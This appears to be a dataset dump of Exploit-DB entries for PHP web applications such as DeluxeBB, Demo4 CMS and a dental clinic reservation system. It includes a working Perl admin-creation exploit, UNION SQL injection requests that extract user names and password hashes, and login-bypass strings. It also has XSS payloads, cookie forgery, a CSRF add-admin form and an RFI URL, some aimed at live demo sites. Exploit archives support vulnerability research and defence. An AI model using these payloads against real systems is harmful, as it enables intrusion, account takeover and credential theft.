deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1953
Description: DeluxeBB 1.07 - Remote Create Admin
Type: webapps
Platform: php
Date: 2006-06-25
Author: Hessam-x

Exploit:
#!/usr/bin/perl
# DeluxeBB <= 1.07 Create Admin Exploit
#
## www.h4ckerz.com / www.hackerz.ir / www.aria-security.net
# ./2006-6-25
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket; 
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;
 
 print q(
 ###########################################################
 #          DeluxeBB <= 1.07 Create Admin Exploit          # 
 #           www.hackerz.ir - www.h4ckerz.com              #
 ################### Coded By Hessam-x #####################

);


 
 if (@ARGV < 3) {
 print " #  usage : hx.pl [host&path] [uname] [pass]\n"; 
 print " #  E.g : hx.pl www.milw0rm.com/deluxebb/ str0ke 123456\n"; 
  exit();
 }
 
  
    print " [~] User/[CREDENTIAL_REDACTED]/$passwd \n";
    print " [~] Host : $host \n";
    print " [~] Login ... ";



 # Login In DeluxeBB <= 1.07 Create Admin Exploit
 
 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->cookie_jar( $cookie_jar );
 $res = $xpl->post($url.'misc.php',
 Content => [
 "sub" => "login",
 "name" => "$uname",
 "password" => "$passwd",
 "submit" => "Log-in",
 "redirect" => "",
 "expiry" => "990090909",
 ],);
 
  if($cookie_jar->as_string =~ /memberpw=(.*?);/) { 
  print "successfully .\n";
  } else { 
  print "UNsuccessfully !\n";
  print " [-] Can not Login In $host !\n"; 
  print $cookie_jar->as_string;
  exit(); 
  }

  # Creat Admin :)

$req = $xpl->get($url.'cp.php?sub=settings&xemail=h4x0r@h4x0r.net&xhideemail=0&xmsn=h4x0r\',membercode=\'5&xicq=&xaim=&xyim=&xlocation=&xsite=&languagex=English&skinx=default&xthetimeoffset=0&xthedateformat=d.m.y&xthetimeformat=12&invisiblebrowse=0&markposts=15&submit=Update');
$tst = $xpl->get($url.'index.php');
if ($tst->as_string =~ /Admin Cp/) { 
print " [+] You Are Admin Now !!";
} else {
    print " [-] Exploit Failed !";
    }

# milw0rm.com [2006-06-25]
Exploit-DB #28736
Description: DeluxeBB 1.09 - 'Sig.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-02
Author: r0ut3r

Exploit:
source: https://www.securityfocus.com/bid/20292/info

DeluxeBB is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.09; other versions may also be vulnerable.

http://www.example.com/templates/deluxe/cp/sig.php?settings[smilies]=on&templatefolder=[file]%00
Exploit-DB #31049
Description: DeluxeBB 1.1 - 'attachments_header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-22
Author: NBBN

Exploit:
source: https://www.securityfocus.com/bid/27401/info

DeluxeBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects DeluxeBB 1.1; other versions may also be vulnerable. 

http://www.example.com/path/templates/default/admincp/attachments_header.php?lang_listofmatches=<script>alert("XSS")</script>
Exploit-DB #8240
Description: DeluxeBB 1.3 - 'qorder' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-18
Author: girex

Exploit:
# Author:	girex
# Homepage:	girex.altervista.org
# Date:		18/03/2009

# CMS:		DeluxeBB 1.3 and prior
# site:		deluxebb.com

# NOTE: 	- Works regardless of php.ini settings
		
		- This SQL injection will shows you username and md5
		  of ALL registered users of the site.
		
		- This PoC was written for educational purpose. Use it at your own risk.
		  Author will be not responsible for any damage.

----------------------------------------------------------------------------------------

# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes 
# turned Off too.

# file: misc.php    lines: 461-464

	if($order == "name") { $qorder = "ORDER BY username"; }
	if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
	if($order == "posts") { $qorder = "ORDER BY posts"; }
	if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

# This sequence of if does not provide an else..

# file: misc.php    line: 490

	$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder."  <==
		             ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);

# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.

----------------------------------------------------------------------------------------

# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# NOTE: to get admin's access edit your cookies:

# memberid 	=>   	victim's id
# membercookie  =>	victim's username
# memberpw  	=> 	victim's md5

----------------------------------------------------------------------------------------

girex

# milw0rm.com [2009-03-18]
Exploit-DB #10598
Description: DeluxeBB 1.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-22
Author: cp77fk4r

Exploit:
# Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com<http://gmail.com>
# Vendor: http://www.deluxebb.com
#
#[Directory Listing]
http://server/templates/
http://server/images/
http://server/logs/
http://server/wysiwyg/
http://server/docs/
http://server/classes
http://server/lang
http://server/settings/
#
#
#[Cross Site Scripting]
http://server/misc.php?sub=memberlist&page=[PII_REDACTED]11111111%3Cscript%3Ealert(1)%3C/script%3E
#
#
#[Unprotected Admin Panel Files]
http://server/templates/deluxe/admincp/
http://server/templates/corporate/admincp/
http://server/templates/blue/admincp/
#
#
#[Unprotected Log Files]
http://server/logs/cp.php
#
#
#[Mail Registration Validation Bypass]
After the user registration procedure, Simply enter to the link:
http://server/misc.php?sub=valemail&valmem=[USER_ID]&valnum=cp77fk4r
you can get your [USER_ID] on the last page of Member-List section:
http://server/misc.php?sub=memberlist&page=[LAST_PAGE]
#
#
#
#[Full Path Disclosure]
http://server/misc.php?sub=memberlist&page=[PII_REDACTED]1111111
-you'll get an error like:
Fatal error: Maximum execution time of 30 seconds exceeded in [FULL_PATH]/tools.php on line [..]

or:
http://server/misc.php?sub=memberlist&page=-[PII_REDACTED]1111E+FF
-you'll get an error like:
Fatal error: Allowed memory size of 68157440 bytes exhausted (tried to allocate 66584545 bytes) in [FULL_PATH]/tools.php on line [..]
#
#
#[E0F]
Exploit-DB #33945
Description: DeluxeBB 1.x - 'newpost.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-06
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/39962/info

DeluxeBB is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DeluxeBB 1.3 and earlier versions are vulnerable. 

The following example data is available:

membercookie=guest
memberid=xx',(select+concat(username,0x2e,pass)+from+deluxebb_users+limit+1),'none',0,0,0,0,0,'guest','[PII_REDACTED]')+--+x
Exploit-DB #5914
Description: Demo4 CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-23
Author: CWH Underground

Exploit:
===============================================================
  Demo4 CMS (index.php id) Remote SQL Injection Vulnerability
===============================================================
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 23 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Demo4 CMS 
 VERSION     : Beta01
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/demo4
#####################################################

--- Remote SQL Injection ---

-----------------------------
 Vulnerable File [index.php]
-----------------------------

@Line

   8:  if ($_GET['id']=="")
   9:  $id = $startpage;
  10:  else
  11:  $id = $_GET['id'];
  12:  database_connect();
  13:  $query = "SELECT * from content
  14:         WHERE id = $id";
  15:  $error = mysql_error();

---------
 Exploit
---------

[+] http://[Target]/[demo4_path]/index.php?id=[SQL Injection]


   **This exploits can get username and password (No Encryption)**

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/demo4/index.php?id=-9999/**/UNION/**/SELECT/**/1,userid,3,4,password,username,7,8/**/FROM/**/pages_t_users


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-23]
Exploit-DB #8044
Description: Den Dating 9.01 - 'txtlookgender' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-11
Author: nuclear

Exploit:
#Scripts Den Dating Demo V9.01(searchmatch.php) SQL Injection Vulnerability


#Author: nuclear


#site:
http://www.scriptsden.com


#SQL vuln:
http://localhost/[path]/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F') union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=


#demo:
http://www.scriptsden.com/dating/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F%27)%20union%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-02-11]
Exploit-DB #11948
Description: Denapars Shop Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Denapars Shop Script Mullti Vulnerability 
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                     
| # Web Site : http://dl.p30vel.ir/scripts/Denapars.Shop.Script.Eh3an.NulL.P30vel.ir%7BNulLed.bY.Eh3an.And.Milad72%7D.zip                                                                                                                                                            
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                     
======================      Exploit By indoushka       =================================
# Exploit  :  

I - ICH

 1 - http://127.0.0.1/Denapars/admin.php

 2 - javascript:document.cookie="shop2008admin[PII_REDACTED]88795logged=OK;path=/";

 3 - http://127.0.0.1/Denapars/admin.php?action=np (2 Upload)


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #49861
Description: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-05-13
Author: Mesut Cetin

Exploit:
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# the 'date' POST parameter is vulnerable to UNION-based SQL Injection
# Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc.
# payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- -

# Proof of concept:
http://localhost/admin/sort_date.php

POST /admin/sort_date.php HTTP/1.1
Host: localhost
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/sort_date.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=
Exploit-DB #49870
Description: Dental Clinic Appointment Reservation System 1.0 - 'Firstname' Persistent Cross Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2021-05-17
Author: Reza Afsahi

Exploit:
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'Firstname' Persistent Cross Site Scripting (Authenticated)
# Date: 14-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Linux parrot

# --- Description --- #

# The web application allows member to inject persistent Cross-Site-Scripting payload which will be executed in both member and Admin panel  

# --- Proof of concept --- #

1- Create account and login as member and go to:  http://localhost/APR/edit_info.php
2- Inject this payload into Firstname input : <script>alert(document.cookie)</script>
4- and fill other inputs as you want (Other inputs might be vulnerable as well) then click on Update button.
5- refresh the page and Xss popup will be triggered.

6- Now if Admin visit this page in his/her Dashboard : http://localhost/APR/admin/members.php
7- Our Xss payload will be executed on Admin Browser

** Attacker can use this vulnerability to take over Admin account **
Exploit-DB #49860
Description: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)
Type: webapps
Platform: php
Date: 2021-05-13
Author: Mesut Cetin

Exploit:
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# Attacker can bypass admin login page due to unsanitized user input and access internal contents
# vulnerable code in /admin/index.php, line 34:
$query = "SELECT * FROM users WHERE username='$username' AND [CREDENTIAL_REDACTED]'";
# payload: admin' or '1' = '1 -- -

# Proof of concept:
http://localhost/admin/index.php

POST /admin/index.php HTTP/1.1
Host: localhost
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

username=admin'+or+'1'%3d1+--+-&[CREDENTIAL_REDACTED]=
Exploit-DB #49871
Description: Dental Clinic Appointment Reservation System 1.0 - Cross Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2021-05-17
Author: Reza Afsahi

Exploit:
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Cross Site Request Forgery (Add Admin)
# Date: 15-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.11 , Linux x64_x86


# --- Proof of concept --- #

# Vulnerable file : http://localhost/APR/admin/user.php

# Exploit:

<html>
<head>
   <title>Add Admin</title>
</head>
<body>
   <h1> Absolutely Not Vulnerable Site :D </h1>
<form method="POST" action="http://127.0.0.1/APR/admin/user.php">
   <input type="hidden" name="username" value="lol">
   <input type="hidden" name="password" value="321" >
   <button type="submit" name="submit">Click</button>
</form>
</body>
</html>
Exploit-DB #41099
Description: Dentist Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Dentist Website Script
# Script Buy Now: http://www.popularclones.com/products/Dentist-Website-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin_giant/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin_giant/add_gallery.php?id=[SQL]
# http://localhost/[PATH]/admin_giant/client.entry.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #9251
Description: Deonixscripts Templates Management 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2009-07-24
Author: d3b4g

Exploit:
--------------------------------------------------------------------------
Deonixscripts Templates Management Version 1.3 SQL Injection Vulnerability

--------------------------------------------------------------------------
 ###################################################
 [+] Author        :  d3b4g
 [+] Email         :  bl4ckend[at]gmail.com
 [+] Twitter       :  twitter.com/schaba
 [+] Vulnerability :  SQL injection
 ###################################################

 () about script:- Web Templates management System allows you to start your own
    Web design business in no time by providing you with an impressive list of 
    features. You can sell individual templates (exclusive or recurring sale) or 
    offer free download to registered members by offering them with free or paid 
    membership. 
 

----------------------------------------------------------------------------------
 () Vulnerability demo :- http://www.site.com/path/index.php?action=readmore&id=(SQL c0de)

 () Live demo :- http://www.deonixscripts.com/demo/tplmgt13/index.php?action=readmore&id=-1+union+select+1,version(),3,4+from+admin--



  # note :- This script is pr0n to multiple sql injection vuln.


 #####################################################
 From Tiny little island of Maldivies

# milw0rm.com [2009-07-24]
Exploit-DB #41627
Description: Departmental Store Management System 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-17
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Pasal - Departmental Store Management System v1.2 - SQL Injection
# Google Dork: N/A
# Date: 17.03.2017
# Vendor Homepage: http://webstarslab.com
# Software : http://webstarslab.com/products/pasal-departmental-store-management-system/
# Demo: http://webstarslab.com/departmental-store-management-system/store/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/module.php?module=vendors&page=edit-vendors&id=[SQL]
# http://localhost/[PATH]/module.php?module=units&page=edit-units&id=[SQL]
# http://localhost/[PATH]/module.php?module=currency&page=edit-currency&id=[SQL]
# http://localhost/[PATH]/module.php?module=category&page=edit-category&id=[SQL]
# http://localhost/[PATH]/module.php?module=purchase&y=[SQL]&m=[SQL]
# tbl_users:id
# tbl_users:username
# tbl_users:password
# tbl_users:email
# tbl_users:full_name
# tbl_users:permission
# Etc..
# # # # #
Exploit-DB #8925
Description: Desi Short URL Script - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-06-10
Author: N@bilX

Exploit:
Desi Short URL  Insecure Cookie Handling Vulnerability
Discovered By:N@bilX
Home:ma-exploit.com /m4r0c-s3curity.cc
email:eyx@hotmail.com
Not: jib L3az Wla Khaz [ma]
--------------------
download:http://webscripts.softpedia.com/script/Miscellaneous/Desi-Short-Url-Script-42484.html
exploit:
***
javascript:document.cookie = "logged =1";
javascript:document.cookie = "uid = 13";
-----------------
demo:http://www.desiscripts.com/demo/URL/index.php

# milw0rm.com [2009-06-10]